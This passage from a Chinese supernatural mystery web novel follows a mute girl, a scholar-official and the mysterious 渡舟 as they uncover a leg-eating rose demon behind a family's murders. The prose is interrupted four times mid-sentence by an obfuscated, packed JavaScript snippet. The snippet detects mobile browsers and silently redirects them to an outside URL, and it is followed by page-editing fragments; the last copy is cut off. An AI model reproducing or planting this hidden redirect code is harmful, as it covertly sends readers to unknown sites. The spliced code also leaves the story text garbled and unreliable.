那衙役咽了咽口水,小心翼翼道:“禀告大人,我就是突然想到了。听说乱葬岗这几天出了怪事,尸体都、都被什么东西吃掉了左腿,干干净净,一点儿皮肉都不留……” 还没等陆轻苹接着乱葬岗往下问,那盯着尸体看了半天的老道突然跳起来道:“这、这不是贫道前几日在姜宅抓的狐妖吗?怎么变成个女人了!” 哑奴听得稀里糊涂,手肘轻轻撞了撞荧木,手势比得飞快:“他说这是狐妖?不可能呀,狐妖的尸体在渡舟家里呢,这看着像人,不像妖怪。” 荧木压低声音道:“这尸体就是牵机营今个儿一早送来的。” 听到牵机营,哑奴突然一阵心虚。 看来渡舟已经回家了,我答应了要帮他看家却偷偷跑了,他肯定要怪我的。 不过哑奴又一想,渡舟看起来也不会把这种小事放在心里,说不定渡舟压根没想起来她已经走了呢…… 哑奴有点儿坐立不安,丝毫没注意到屋里已经闹翻了天。直到她耳边窜进来荧木咋咋呼呼的声音,对方扶着她的肩膀晃来晃去,叫道:“我的天!那尸体是姜老爷的亲娘!天呐怎么会有这种人!连自己亲娘都杀!” 哑奴听得直蹙眉:“啊?啥?” “你没听见刚才大人说吗?姜老爷几年前为了争夺家产,把自己的亲哥哥和老娘都杀了。姜老夫人变成厉鬼抱走了姜小公子,姜老爷才请的那道士捉妖!” 哑奴从来没想过世上竟然还会有这种恶人,她又惊又怒,心脏生疼,手都在发抖:“为什么要这样?” 荧木冷哼道:“为了钱呗,利益面前,至亲值几两?” 陆轻苹猛地一拍桌子:“安静。外面两个小鬼,别处玩儿去!” 荧木赶紧闭紧嘴巴,哑奴也跟着他学,愣是没想起来自己不会说话。 他们依依不舍地往远处走,里面的道士正在大喊冤枉:“大人明鉴!贫道真的不知原委,否则我万万不敢将化妖丹交出去啊大人!” 接下来的事情哑奴跟荧木被赶走后什么都没听见,荧木坐在树底下,分析得头头是道:“姜老爷一定是怕别人发现,才用化妖丹把姜老夫人变成狐妖的。不过你说,她怎么又突然变回来了呢?” 哑奴在心里接话道:“当然是因为渡舟很厉害,说不定一下就看穿了狐妖不是真的。” “她的左腿是本来就没有,还是跟乱葬岗的人一样被吃掉的呢……” 荧木说完了姜家的案子,又跟哑奴大谈牵机营。 他说,牵机营是大宣朝最为机密之所。上至朝堂下至乡野,牵机营的力量无处不在。 还说牵机营虽是近些年才被人知晓,但其实大宣朝立国时便有了,那位掌管牵机营的是不死的妖精,是国之妖孽。 又说牵机营之主,人鬼两道通吃,心狠手辣,残暴不仁。他若是皱眉,三步之内必有血光之灾。他若是对你笑,那更不得了。 “以前有位史官不知道说了什么讨他欢心,他笑是笑了,转身便将那位官员砍头了。” 荧木眉飞色舞道:“那位主子杀人跟切菜似的,眼睛都不眨,连圣上都被牵机营捏在掌心儿,说不定哪天他不高兴,就把圣上也……” 荧木总算赶在脑袋搬家的大罪之前住了声,神神秘秘道:“听说他长了三头六臂,青面獠牙,你跟我讲讲,真是这样吗?” 哑奴眨巴眨巴眼睛,狂摇头:“渡舟长得很漂亮的。” 荧木露出很鄙夷的神色:“切,我才不信……” 这时一班衙役鱼贯而出,陆轻苹路过他们时,荧木赶紧跳起来站好:“大人!” 哑奴还蹲在地上,仰着头望着陆轻苹。 陆轻苹将目光落在哑奴身上:“那晚活下来的就是你?” 荧木用脚踢了踢哑奴小腿,小声道:“大人问你话,还不快起来。” 我也想起,腿麻了…… 哑奴扶着树站起来,点点头:“是我。” 陆轻苹略作沉吟,蹙眉道:“跟我走。” 九洲城外,向东十里,乱葬岗。 入目脏污不堪,炎炎夏日尸体成堆,蝇虫遍地。 其实这儿本来是有专人掩埋尸体的义冢,因为靠近皇城,不至于管理如此混乱。只因近日出现了专吃左腿的厉鬼,所以无人敢靠近,短短半月就变成一片乱葬岗了。 城中传言非虚,除去入土的或是来不及掩埋已经腐烂的,其余新鲜尸体都缺了一条腿。 不过哑奴发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406302|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现其实并不全是左腿,这些尸体有的缺左腿,有的缺右腿,全都是自腰部以下只剩一条腿骨,皮肉干干净净,哪怕是九洲城最会杀猪剔肉的屠夫也做不到这种程度。 先是姜家指鹿为马,再是灭门惨案。如今唯一留下的尸体又少了左腿,乱葬岗显然是最可疑的地方。 他们一行人中,除了陆轻苹和跟着的几名衙役,还有那自称是张仙师的白胡子道人。 他颇有几分洋洋自得:“凭老夫多年捉妖经验,吃掉那具尸体左腿的,肯定是妖。化妖丹只会化形,不会有那么重的妖气。” 陆轻苹脸色发白,几欲作呕,命令左右搬几具尸体上来。 萤木对这位书生陆大人似乎起了同情之心,忍不住道:“大人,您要不先歇会儿?那边有个凉亭,我去弄点水来。” “我没事。”陆轻苹说完,竟是想亲自上手查看尸体,张仙师抢先挡住他道:“大人莫急!贫道先看看。” 他转身面向尸体,怀里掏出几张符纸,逐一贴在尸体左腿,兴奋叫道:“有啦!” 众人望去,那条贴满符纸的腿骨燃起红色火焰。一股浓烈的花香扑面而来,跟衙门那具女尸散发的味道竟一模一样。 张仙师得意道:“贫道这符纸,能识鬼辨妖。绿光是鬼,红光是妖,这专吃左腿的不是什么厉鬼,而是妖!” 陆轻苹道:“月季,是月季花香。” 张仙师闻了几下,恍然大悟道:“哦,确实是月季香,大人的鼻子真是比狗还——” 陆轻苹冷冷看他一眼,张仙师假意咳了几下,继续道:“既然是月季花妖,那就好办了。这种吃人肉的小妖,找到本体一把火烧了就算完了。” 陆轻苹问道:“怎么才能找到花妖本体?” “这个嘛......”张仙师摸着胡子道,“只能追着这里的妖气找,如果它今后不再出来吃人肉,那就不好办啦......” 一个声音道:“错了。” “谁在说话?”张仙师循声望去,却见一只绿眼睛的白猫自草丛里迈着步子缓缓而来。 那声音继续道:“月季花妖,就在这里。” “怪事!猫会说话?!”张仙师瞪大眼睛,哑奴却认出来了,这是渡舟的白猫。 她颇为心虚地左顾右盼,白猫之后,一名男子信步而来。 嗯?不是渡舟? 哑奴凝眉再看—— 哦,还是渡舟。 他穿着件窄袖黑衣,腰间插着根通体青白的笛子。那双颜色浅淡,琥珀似的眼珠子变成了跟发丝一样的深黑色,鬓边那两缕极长的白发也不见了,显得年轻许多。 总而言之,少了些鬼气,多了几分活人气息。 唯一不变的,是渡舟身上那股子平静到近乎淡漠的气质,以至于显得他这个人漠然又傲慢。 哑奴那阵心虚愈演愈烈,此地无银三百两地往人堆里躲了躲。 渡舟大人,您大人有大量,放过我…… 渡舟只是轻飘飘地往哑奴的方向看了一眼,什么多余的话都没说,似乎压根不介意她不告而别,也不介意她跑的时候踩烂了房顶上十来片昂贵的瓦。 张仙师见说话的是个年轻人,问道:“哪里来的少年说大话?这猫是你的?” 白猫背部拱起嘶嘶吐气,渡舟淡淡道:“是我的,这猫不听话,爱乱跑。” 5. 花妖 哑奴隐隐觉得这人在拐着弯儿说她…… “什么乱七八糟的……”张仙师不悦道,“你刚才说什么?月季花妖就在这里?” 渡舟漫不经心道:“是啊。” 陆轻苹问道:“这位公子,你有什么依据?” 渡舟吹了声口哨,般般后退几步一跃而起,却不是冲张仙师。 只见猫爪将一丛灌木几下拨开,张仙师忍不住出声嘲讽道:“我说,你不会以为花妖就在这里面吧?” 不,不是花妖。 白猫退到一旁,灌木丛中横七竖八躺着数十具尸体! 跟眼前乱葬岗的情形一模一样,这些尸体的左腿都不翼而飞。只因乱葬岗本就血气冲天,尸体又被掩在层层草木之后,他们来时竟没有发现。 众人一片哗然,张仙师惊道:“这......这是、是......” 陆轻苹皱眉道:“不是乱葬岗的尸体,是活人。” 尸体死后被吃掉左腿,跟活人被吃掉左腿流血而死是不一样的。哪怕尸体再新鲜,都没有痛感,换句话说,他们断腿处十分齐整没有挣扎痕迹。 而眼前这些尸体,无不面容狰狞血迹斑斑,伤口处血液颜色尚且鲜红,想必死前承受了极大的痛苦。 “是姜家人!”张仙师终于把话说完,“真邪门了!姜家被灭门,这尸体怎么散的到处都是?” 陆轻苹眉头皱得更深,目光从地上的尸体移到一旁站着的渡舟身上,问道:“这位公子,你是怎么发现的?” 白猫正围着渡舟邀功请赏,却被渡舟嫌弃地一脚踢开,抬头说道:“路过,它发现的。” 这话实在不可信,张仙师立刻反驳道:“胡说八道!谁没事儿干来乱葬岗路过?” 陆轻苹面露审视,渡舟随手一指,答道:“我有熟人埋这儿,所以路过。” 这话更不可信。 他穿衣打扮一看便非富即贵,怎么会有熟人被埋在乱葬岗这种地方? 渡舟偏要再跟一句:“很多熟人,你们要挖开看吗?” “你!”张仙师气得不轻。 白猫被渡舟踢过之后便傲然离开,穿过人群跑到哑奴脚边绕着圈子摇尾巴。 哑奴没想到自己喂了几天猫,颇有成效,很是开心地将般般抱在怀里。 渡舟目光淡淡,自言自语道:“果然养不熟。” 哑奴眨眨眼睛,弯起眼眸冲渡舟笑了笑,对方却不领情,一点儿反应都没有。 陆轻苹不可能真去挖坟,于是安排左右将尸体搬回衙门,又问渡舟:“阁下刚才说花妖就在这里,能否明示?” 张仙师立刻道:“陆大人,您千万不要听这黄口小儿胡说八道,他哪里懂这些......” 说话间,乱葬岗上空传来阵阵呜咽之声。 不似人声,倒像风声。 声声如泣如诉,加之这里尸骸遍野,腥味漫天,让人不禁毛骨悚然。 此刻花香更浓,般般在哑奴怀里安稳不动,唯有一双绿眼睛转来转去,十分警觉。 渡舟不慌不乱道:“猜的,我还猜这道士是个假道士,你信不信?” “休要胡言!”张仙师眉毛竖起,他生平最恨别人质疑自己仙师的身份,二话不说掏出一叠符纸甩在渡舟身上。 “我看你才是真妖怪!天底下哪有这么巧的事儿......陆大人你快看!符纸变了颜色变了!是红光!这少年果然不是人!” 符纸碰到渡舟,竟真的燃起红色火焰。 陆轻苹神色凛然,哑奴则侧头不解,张仙师正欲上前抓妖,符纸却突然又开始蹿起绿色火焰。 陆轻苹扭头道:“张仙师,你不是说红光是妖,绿光是鬼,这又是怎么回事儿?” 张仙师目瞪口呆,结巴道:“这、这,我......” 这种符纸如果被邪祟碰到,燃起火焰十分痛苦,用在普通人身上则毫无反应。 虽然渡舟现在周身红红绿绿火焰烧得正欢,他却轻描淡写拍落一身符纸,道:“假道士,当然说假话。” “这不可能!贫道的符从来没有出错过!再试试,我再试试......”张仙师神色恍然,又掏出几张符纸,左看右看,眼疾手快一张贴在白猫身上,一张贴在哑奴身上,目不转睛盯住这一人一猫。 谁知,猫身上的符纸开始燃红光,哑奴身上的却开始燃绿光。 一时之间,红红绿绿十分精彩。 哑奴一阵莫名其妙,抱着般般抖了几下。渡舟这时候反倒起了几分兴趣,陆轻苹则十分头痛地揉揉眉心,无奈叫道:“张仙师......” "这绝不可能!不可能啊!"张仙师后退半步,恍若未闻,疯疯癫癫地跑掉了。 陆轻苹叹息一声,对哑奴道:“先回衙门,抓妖一事再议。” 渡舟问:“为何再议?我不是说,花妖就在这里。” 陆轻苹反问道:“不是猜的?” 渡舟道:“猜的总比瞎说好,大人觉得呢?” “这……”陆轻苹面露犹疑之色,他只是一介书生,抓妖确实不在行。 哑奴侧耳听着这阵好似呜咽的风声,直觉渡舟并非胡说,这里一定有什么东西,才值得渡舟专门跑一趟。她放下般般,指了指乱葬岗,意思是去前面看看。 陆轻苹沉吟片刻,竟很有几分胆识地应道:“既然来了,那就再去看看。” “大人很有魄力,书生也敢抓妖。”渡舟虽是夸赞,话语之间的轻视却让人听了不大舒服。 陆轻苹没有理会,转身交待剩下两名衙役在此处看守剩下的尸体,忽然想起什么,问道:“萤木呢?” 衙役回答:“禀大人,萤木刚才跟着搬尸体去了。” “知道了。” 三人一前一后顺着乱葬岗上被踩出来的一条小路往里走。这里又脏又臭,人穿着鞋子无所谓,般般却赖在原地不肯走。 渡舟反正是不管的,两袖清风只管走。 哑奴很自觉地抱起般般,走在后面活像渡舟的小跟班,心里却嘀嘀咕咕:“堂堂牵机营主君,真小气!连句话也不同我讲,只会让我干活儿,等会儿我便把你的猫拐走,气死你!” 般般对自己即将到来的命运一无所知,睡得像猪。 越往里走腥味越重,花香味也越浓。脚边尸体众多,入目全是破败不堪的无名冢,间或几只黑色乌鸦哇哇乱叫,一派萧瑟肃杀之气。 “一个。” “两个。” “三个。” ...... 哑奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406303|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听了半路,好奇心跟要气死渡舟的好胜心比起来略胜一筹,于是问:“你在数什么?” 渡舟答道:“数这里有几个熟人。” 原来是这样。哑奴若有所思点点头,陆轻苹忍不住蹙眉道:“你还真信?” 他见哑奴仍是不解,解释道:“你看他那么年轻,非富即贵,像是有很多熟人都埋在这种地方的吗?倒是你我比较像。” 我吗?哑奴指指自己,摇了摇头。 她没有熟人,只认得几个衙役。 渡舟看她一眼,没再继续数了。 陆轻苹体弱,走了一会儿便开始气喘,这里除了尸体就是荒坟,脚印又多又杂,不是个找线索的好地方。 穿过乱葬岗,般般忽然睁眼尖着嗓子叫了一声,渡舟停下脚步:“到了。” 哑奴抬头望去,乱葬岗之后,山坡之上,赫然长着一株鲜艳似火的月季花。 可惜长的地方不大好,半步之外就是一座土坟。 陆轻苹道:“这就是花妖?” 渡舟道:“也许吧,我只认得月季。” 渡舟分明是不想说,陆轻苹也不再多问,颇费了些力气爬上那个小山坡。 坟前放着几樽清酒和一些没烧干净的纸钱,陆轻苹掏出一方帕子擦干净坟前墓碑,却发现上面干干净净一个字都没有。 “这坟怎么......” 话音未落,起了阵邪风,卷起黄土漫天。 乱葬岗的呜咽之声又跟随到这里,哑奴捂住眼睛,透过指缝看到那座坟边上盛开的月季花突然间活了,伸长枝蔓张牙舞爪! 陆轻苹毫不知情,仍在专注地看墓碑。 哑奴暗道不好,陆大人文文弱弱一个人,倘若这株月季真是他们要找的吃人花妖,岂不危险?哑奴正欲飞身上前,风沙之中,陆大人却不知怎得从山坡上好不狼狈地滚下来。 呜咽声也在这时戛然而止,一个少女出现在他们面前。 少女一身粉白衣裙,圆脸圆眼,年纪跟哑奴差不多大。她坐在那株月季旁边,背靠坟墓,手里捧着一只瓷白酒壶,身上散发浓烈的月季花香来。 陆轻苹看来是真摔疼了,脸色都有些发白。 少女凝着他道:“我不是故意的,你要拔花,我不想你拔。” 她言语天真神色懵懂,哑奴不禁想:“这真是吃人的妖怪吗?我瞧着不像......” 陆轻苹拍拍身上的尘土,摇头道:“我没想拔花,只想看看那是谁的坟。” “哦,这样。”少女道,“这是母亲的坟。” 陆轻苹惊讶道:“你的母亲?” 少女道:“是啊。” “真麻烦......”渡舟蹙眉啧了一声,开门见山道,“姜家那些人是你杀的?” 少女道:“是啊。” 陆轻苹问:“乱葬岗的尸体也是你......你吃的?” 少女又道:“是啊。” 哑奴难以置信,陆轻苹亦然,只有渡舟不为所动,淡淡道:“真凶找到了,你可以将她缉拿归案了。” “可......”陆轻苹问道,“你为什么要杀那么多人?” 少女低下头想了想,面露疑惑,抬眸问道:“月季花,生来不就是要吃肉的吗?” 6. 月季 养花之人,常有许多为了让月季来年开得更好,在土壤中埋肉养花。最新鲜最好的肉埋下去,往往能开出色泽最艳的花。 但这话从一个十五六岁的少女嘴里说出来,让人听得毛骨悚然。 少女又道:“我从前是这山上一株野花,这里难见雨露阳光,我总是生病。有一天,娘亲将我带回姜家,她每天都会记得给我浇水,还会在春天往我的脚边埋许多块肉,我从没吃过这么好吃的东西,从那以后也不再生病。第二年,我开出了有生以来最红最美的花。” “等等,你说的娘亲......难道是姜老夫人?”陆轻苹急切问道。 少女点点头,继续道:“我听见姜家的人都叫她夫人,后来叫老夫人。可我觉得母亲一点儿也不老,她叫柳叶禾,很漂亮。” “有天晚上,几个人在我旁边挖开一个大坑,我睡得正香,还以为母亲又给我送肉来了,于是我张开身体大吃特吃,那是我吃过最好吃的肉,比从前的都要好吃千百倍,我吃得很撑,直到再也吃不下。我又睡过去,这一睡不知过去了多久,直到我重新在这里醒来。” 渡舟摸着怀中白猫,道:“因为你太蠢了,一口气吃掉了柳叶禾半条腿,把自己撑死了。” 陆轻苹惊讶道:“你说她吃掉了柳叶禾半条腿?难道是姜千峰杀了亲娘,慌乱中将尸体埋在了月季花下?怪不得听说姜家一年前在迁坟……” 渡舟不置可否,又道:“我猜的。” 少女突然哭了,哭得很伤心,抽泣道:“我不知道,您别问我,我什么也不知道。后来我醒过来,变成现在这副模样。我很后悔自己吃掉了娘亲的腿,但是、但......但人腿实在是太好吃了......” 少女不哭了,她目光灼灼,情不自禁舔舔嘴唇,喉咙上下动了几下。 陆轻苹忍住恶心,又问道:“你说这是柳叶禾的坟,又是怎么回事儿?据我所知,姜家那次迁坟是往皇城方向,可不是往乱葬岗迁。再说,柳叶禾故去多年,怎么突然变成厉鬼伤人?” 少女回答道:“我不知道,反正我后来找到娘亲,她跟我一样不知道自己为什么会醒过来,她说很想姜家人,想回去看看,但她没有腿不能走路,所以我用花瓣帮她造了一具新的身体。” 而死后依然挂怀家人的柳叶禾回到姜宅,却被做贼心虚的姜千峰诬陷为妖,打死后移交县衙。 “所以你杀姜家人是为柳叶禾报仇?” 少女陷入回忆,神情渐渐阴森可怖,语气平静道:“姜家的人,除了娘亲,都该死。” 她说完,端起酒壶斟满两杯酒,向前举起一杯,很突然地说道:“被我吃掉会很痛的哦,你们谁先来?” 这种被人盯上要被吃掉的感觉很奇怪,但更让哑奴想不明白的是为何人会比妖还要凶残。 陆轻苹道:“莫要再负隅顽抗,你杀了姜家十余口,又将尸体放在路边引我们前来,居心叵测。按大宣朝律法,我们要抓你回去。” 少女没有否认,颇为遗憾道:“好吧,但我不喜欢打架....我这里有两种花瓣,一片是红色,一片是黑色。” 她摊开手掌,果然有两片花瓣,一红一黑。 “红色是生,黑色是死,谁先选?” 为什么要选? 哑奴打了个手势,渡舟很默契地说道:“不选,你又如何?” 少女咯咯笑了两声,说道:“你们走不出去的。” 说完,那株月季突然像人长出手脚似的,无数花枝藤蔓开始蔓延生长。 眨眼间,这座孤坟周围便长出无数层层叠叠的花墙,一直延伸到乱葬岗。 渡舟不慌不忙,点头道:“你吃了那么多人,法力大增也是应该的。” 少女道:“看吧,我没骗你们。” 陆轻苹脸色不大好,低声道:“不是说抓妖很简单吗?我们已经找到了花妖的本体,就是那株月季,不如陪她玩玩儿,找机会将她连根拔起......” 渡舟既不反对也不说同意,哑奴上前一步,比划道:“我先来。” 少女将花瓣置于一个像是树根做的圆口大肚的木头碗里。哑奴伸手进去,摸出一片花瓣,定睛一看,连连叫苦。 她摸到的正是一片黑色花瓣,谁知对方满含深意地看她一眼,却道:“你可以走了。” 这就能走了?不是说黑色代表死吗? 哑奴虽不明白,但哪有生路摆在面前不走的道理,她连蹦带跳下去,暗暗冲陆轻苹使眼色。 陆轻苹随后上前,运气一向不好的陆大人今日却运气极佳,摸出一片红色花瓣,同样顺利下来。 接下来是渡舟。 他单手抱猫,走得四平八稳,也没带什么利器,花妖的脸色却越来越沉。 渡舟停下脚步,向碗口看了一眼,伸手进去,哑奴看得万分紧张,渡舟那只手却迟迟不见拿出来。 花妖冷声道:“是生是死,不看怎知。” 渡舟答道:“哦?那你要看看自己的生死吗?” 花妖脸色微变,目光向下看去,突然惨叫一声丢开木碗。 来不及了。 符火熊熊燃烧,沾上便燃,顺着花妖捧着木碗的那只手一路向上蔓延。草木植物最怕火烧,更不要说那是专门克制妖物的符纸。 花妖被烧得遍体鳞伤,一边在地上打滚一边咬牙切齿道:“卑鄙!竟然趁我不备贴符!” 不错,那只木碗底下整整齐齐贴了两张符。 张仙师疯疯癫癫跑掉,地上却落下许多他用来试探渡舟的符纸。哑奴那时好奇,便一张张收集起来,来这里的路上分给其余二人。 但事出突然,所以三人并没有事先通气,却不约而同地在抽花瓣时将符纸神不知鬼不觉贴在木碗底下。 至于渡舟,似乎是将哑奴给他的全都堂而皇之放到碗里面了。 渡舟被骂也不生气,说道:“彼此彼此,你不是也吃掉了柳叶禾一条腿吗?” 陆轻苹惊道:“她刚才不是说,自己不知道那是柳叶禾......” 渡舟嗤之以鼻:“妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406304|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,你也信。” “不管了。”陆轻苹三两步冲上去,“拔花!快!” “不!” 花妖有心阻止,却自顾不暇。哑奴飞身上前,毫不迟疑将坟边那株月季连根拔起,月季花瓣迅速枯萎变成灰烬。 但奇怪的是,周围这堵花墙并没有消失,反而越逼越近,无数月季花嘻嘻哈哈笑个不停,再回头一看,地上的花妖却消失不见了! 耳畔传来渡舟那依旧不紧不慢的声音:“障眼法,花妖真正的本体不是你手上那一株。” 陆轻苹边退边道:“这里这么多花,我们怎么知道哪一株才是!” “就凭你们还想杀我?哈哈哈哈……” 从花墙一株月季里长出一颗少女的头,她一改刚才天真模样,放声大笑,笑够了,恨恨道:“都怪柳叶禾!为什么要给我吃肉!如果不是她,我本该是这山间最快乐的一株月季,是她让我吃人肉,也是她让我变成人!我不想变成人!” 渡舟道:“别蠢了,柳叶禾怎么能将你变成人。柳叶禾虽然死得不明不白,但还没到化身厉鬼的程度。” 那颗头微微垂下,似乎是在思考。 哑奴趁机掏出符纸往她脸上一贴,那朵月季同样迅速枯萎。但更多的月季涌上来填补了空缺,少女的脸又从旁边另一颗月季花里长出来,画面一时间诡异非常。 “月季生来就是要吃肉的,是你们教会我吃肉,却又不让我吃,天下哪有这样的道理!” 陆轻苹道:“柳叶禾对你悉心照料,你明知是她还要毁尸,天下难道有这样的道理吗?” 哑奴继续贴符,少女的头则不断从另一朵花里长出来。 几番轮回下来,花妖终于厌烦了,尖叫一声,香气冲天。月季花墙瞬间逼近,哑奴不得已后退半步,撞上渡舟后背。 “啊啊啊啊闭嘴!你懂什么?还有你!小丫头不要再贴了!”花妖面容扭曲,平静后舔了舔嘴唇,目光饥渴,“你们三个细皮嫩肉,想必一定很好吃。别白费功夫了,这片坟头都是我的法场。想一想,来年你们会长成最美的月季,多么美妙啊……” 眼前无数月季花伸出枝蔓,仿佛无数张血盆大口。 柿子专挑软的捏,花妖也看出三人之中陆轻苹最好对付,一束花伸着脑袋悄无声息地对准陆轻苹的左腿咬下去,陆轻苹还算机敏,符纸往下一丢,那束花便尖叫着后退了。 但符纸不剩几张,这并非长久之计。 陆轻苹一个文弱书生,难得此刻还沉得住气,低声说道:“这位小公子,不要再说你只是路过这种话,性命攸关,还望想想办法。” 渡舟却像事不关己,一言不发。 哑奴倒是有个办法。 她丢开符纸,从腰间抽出一把小巧的匕首,花妖见状哈哈笑道:“小姑娘,不贴符,改用刀啦?笨死了!” 哑奴不理会,蹲下身面朝黄土用匕首狂挖起来,挖了几下又觉得太慢,抬头左顾右盼,扯了扯渡舟的衣服,目光落在他腰间那根笛子上,情急之下一把抽出。 7. 梦魇 指尖挨到的一瞬间,哑奴只觉一阵刺骨的寒意传透全身,又麻又痛。 但等她完全握住笛子,那阵如坠冰窖的冷意又渐渐消失了,取而代之的是暖玉般温润的质地和触感。 哑奴来不及细想,将笛子递给陆轻苹,示意他跟自己一起挖。 “这……”陆轻苹没有接,哑奴手中一空,笛子又被渡舟抽走,“你要挖坟?” 哑奴点头如捣蒜。 渡舟看了看手中的笛子,随手插进土里。 不知为何,哑奴总觉得那根笛子似乎抖了抖,颜色变得更白了。 哑奴本来以为渡舟是绝对不会帮忙的。因为花妖就算再厉害,也比不过活了上千年的魇鬼丹妙,丹妙见到渡舟都畏畏缩缩,何况一只刚化形的小妖。 可渡舟自始自终都不曾出手,说明他压根不想帮他们对付花妖。 帮不帮是渡舟的自由,这本也没什么,但哑奴一个人挖实在太慢,陆大人又没有带兵器的习惯,看来看去只有渡舟那根笛子还算趁手。 谁知渡舟非但帮了,还挖得很起劲。虽然不是他动手,而是那根笛子自己在挖,哑奴已觉受宠若惊。 渡舟大人这是……转性了? 哑奴微微张大眼睛,花妖道:“好笑,我第一次见有人给自己挖坟的。” 话虽如此,花妖微微发抖的声音却出卖了她。 陆轻苹虽然不明白为什么,但能让花妖紧张,说明挖坟是对的。他打量了两眼渡舟,显然对他的身份有了怀疑。当下却没深究,也加入了挖坟的行列。 般般迈着步子十分优雅地卧在渡舟脚边睡觉,似乎对他们的行为不大感兴趣。 “你们到底在干什么?!” 花妖一怒之下,花墙又高涨数尺,头顶渐渐密不透风,哑奴专心致志,突然摸到一样东西,不由一喜:挖到了。 她用力一拽,拖出半只人腿。这人腿少了中间那根腿骨,肥腻腻的肉上密密麻麻插满了月季根茎,陆轻苹看了一眼转身狂吐。 哑奴手起刀落斩断根茎,耳畔尖叫连连,数十根花叶瞬间枯萎,头顶终于重见天光。 那笛子似乎委屈巴巴地飞到渡舟怀里,被他一把推开,说道:“这座坟,根本不是柳叶禾的。” 花妖刚修炼成人形,就算吃了许多人肉法力大增,但他们方才已经贴了许多符纸,明明花妖已经很虚弱,为何能够突然之间恢复元气,还长出这么一大面花墙来。 哑奴本来不明白,直到花妖说出“这片坟头都是我的法场”,哑奴突然想明白了:月季吃肉能开出最美的花,肉就是月季的肥料,能让她起死回生。 花妖一夜之间杀了姜家十余口人,那么多条人腿不可能全部吃完,人腿都去哪儿了? 动物都知道过冬要储存食物,何况一只妖。每次只吃一条腿,哑奴猜测是因为她最多一顿只能吃得下一条腿。至于为何另一条腿丢了不要,那就只有花妖自己知道了。 陆轻苹反应过来,蹙眉道:“这座坟里埋着月季吃剩下的人腿,所以花妖杀不死,因为人肉最能养花。” “我要杀了你们!”花妖气急败坏,一时怒气大涨,但这回显然中气不足再无余力搭起花墙。 随着人腿越拖越多,哑奴他们竟然从里面拖出来不下十余条人腿,除了姜家的还有其余人的。 每拖出一条,哑奴便斩断根茎,花妖疼得面孔扭曲尖叫连连,口中怒骂不止。短短几个来回之后,花妖很快萎靡不振,退回本相,粉衫少女旁边是一株焉头巴脑的月季。 她低垂着头,眼中含泪:“我要死了,是吗?” 渡舟那根笛子颜色很不妙,一阵青一阵白,笛子口往外吐黑土,喷了渡舟一身。渡舟有些烦躁地啧了一声,很勉强地擦了两下,说道:“装什么可怜?” 少女抬起头,果然目露凶光。 陆轻苹脸色煞白,小腿血流如注,刚才慌乱之中还是被花妖吃上一口。尽管如此,人却站得稳当腰杆笔直,说道:“所以这确实不是柳叶禾的坟,你搞这么一座坟日日祭拜,其实是为了掩人耳目。” 少女不置一词,沉默片刻,低声道:“……反正娘亲已经死过两回,我也要死了......人死了会投胎转世,那妖呢?” “不,我还是......不要再见她了,我也不想……” 她的声音越来越小,到最后微不可闻,身体也越来越透明,最后变成一团黑气消散在这天地之间。 那株枯萎的月季落在众人面前,哑奴站在原地很久没动,她有点想将月季花掩埋起来,渡舟却打了个响指。月季燃起一团烈火,不消片刻便化为灰烬。 渡舟看着哑奴道:“斩草便要除根,记住了?” 哑奴似懂非懂地点点头。 般般见缝插针跑过来,哑奴蹲下将般般抱住,看向陆轻苹的腿。 陆轻苹明明嘴唇都白了,却说道:“不碍事……这只白猫,胆子倒是很大。” 渡舟接话道:“胆子是很大,也很聪明。” 陆轻苹转向哑奴,说道:“回去吧,案子破了。” ……案子,真的破了吗? 哑奴忍不住想:“所以一株月季花,一个死去多年的人,到底是怎么活过来的?” 当晚,哑奴做了个很应景儿的梦。 她梦见那株月季花妖上长出的人头,粉衫少女面容狰狞:“姜千峰杀母弑兄,罪该万死!姜家人也统统该死!” 画面一转,少女变成一个男人的脸:“周昭!你杀母弑兄,罪该万死!!” 周昭......周昭是谁? 我不是周昭,别……别过来! 我不是周昭! 那颗叫嚣的人头根本听不见哑奴在说什么,张开血盆大口向她扑过来,那条又恶心又湿哒哒的红舌头在她脸上舔来舔去,尖利的笑声在耳边不断回旋:杀母弑兄,罪该万死。 杀母弑兄,罪该万死! 忽而画面骤变,天降大雪,眼前江水滔滔,血色翻滚。灭过头顶的江水是那样冷,手脚被冻得失去知觉,有人在哭,有人在托着她的身体往上爬,濒死的喘息声在耳边回响…… 她终于重见天日,从漫天血水里钻出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 